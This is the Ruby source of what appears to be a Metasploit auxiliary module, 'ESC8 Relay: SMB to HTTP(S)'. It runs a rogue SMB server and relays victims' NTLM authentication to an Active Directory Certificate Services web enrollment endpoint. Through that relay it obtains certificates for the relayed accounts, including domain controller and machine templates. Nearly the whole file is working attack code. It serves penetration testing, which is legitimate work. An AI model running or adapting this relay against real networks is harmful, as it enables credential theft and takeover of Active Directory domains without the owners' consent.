Files
metasploit-gs/modules/auxiliary/server/relay/esc8.rb
T
Spencer McIntyre a0852387fc Merge pull request #20752 from bwatters-r7/feature/certificate-web-enrollment
Add Authenticating Web Enrollment module for AD/CS
2026-04-06 15:27:28 -04:00

155 lines
5.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include ::Msf::Exploit::Remote::SMB::RelayServer
include ::Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::Remote::HTTP::WebEnrollment
def initialize(_info = {})
super({
'Name' => 'ESC8 Relay: SMB to HTTP(S)',
'Description' => %q{
This module creates an SMB server and then relays the credentials passed to it
to an HTTP server to gain an authenticated connection. Once that connection is
established, the module makes an authenticated request for a certificate based
on a given template.
},
'Author' => [
'bwatters-r7',
'jhicks-r7', # query for available certs
'Spencer McIntyre'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE],
['ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES]
],
'License' => MSF_LICENSE,
'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 relay server' } ]],
'DefaultOptions' => { 'HTTP::Auth' => 'ntlm' },
'PassiveActions' => [ 'Relay' ],
'DefaultAction' => 'Relay'
})
register_options(
[
OptEnum.new('MODE', [ true, 'The issue mode.', 'AUTO', %w[ALL AUTO QUERY_ONLY SPECIFIC_TEMPLATE]]),
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
]
)
register_advanced_options(
[
OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]),
]
)
@issued_certs = {}
end
def relay_targets
Msf::Exploit::Remote::Relay::TargetList.new(
(datastore['SSL'] ? :https : :http),
datastore['RPORT'],
datastore['RHOSTS'],
datastore['TARGETURI'],
randomize_targets: datastore['RANDOMIZE_TARGETS']
)
end
def check_host(target_ip)
res = send_request_raw(
{
'rhost' => target_ip,
'method' => 'GET',
'uri' => normalize_uri(target_uri),
'headers' => {
'Accept-Encoding' => 'identity'
}
}
)
disconnect
return Exploit::CheckCode::Unknown if res.nil?
unless res.code == 401
return Exploit::CheckCode::Safe('The target does not require authentication.')
end
unless res.headers['WWW-Authenticate'].include?('NTLM') && res.body.present?
return Exploit::CheckCode::Safe('The target does not support NTLM.')
end
if datastore['SSL']
# if the target is over SSL, downgrade to "Detected" because Extended Protection for Authentication may or may not be enabled
Exploit::CheckCode::Detected('Server replied that authentication is required and NTLM is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.')
else
Exploit::CheckCode::Appears('Server replied that authentication is required and NTLM is supported.')
end
end
def validate
errors = {}
unless datastore['HTTP::Auth'] == 'ntlm'
errors['HTTP::Auth'] = 'This module only supports NTLM authentication.'
end
case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].blank?
errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.'
end
when 'ALL', 'AUTO', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.')
end
end
raise OptionValidateError, errors unless errors.empty?
super
end
def run
relay_targets.each do |target|
vprint_status("Checking endpoint on #{target}")
check_code = check_host(target.ip)
if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code)
fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}")
end
end
start_service
print_status('Server started.')
# Wait on the service to stop
service.wait if service
end
def on_relay_success(relay_connection:, relay_identity:)
target_ip = relay_connection.target.ip
case datastore['MODE']
when 'AUTO'
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
retrieve_certs(target_ip, relay_connection, relay_identity, cert_template)
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(relay_connection)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(target_ip, relay_connection, relay_identity, cert_templates)
end
end
when 'SPECIFIC_TEMPLATE'
cert_template = datastore['CERT_TEMPLATE']
retrieve_cert(target_ip, relay_connection, relay_identity, cert_template)
end
vprint_status('Relay tasks complete; waiting for next login attempt.')
relay_connection.disconnect!
end
end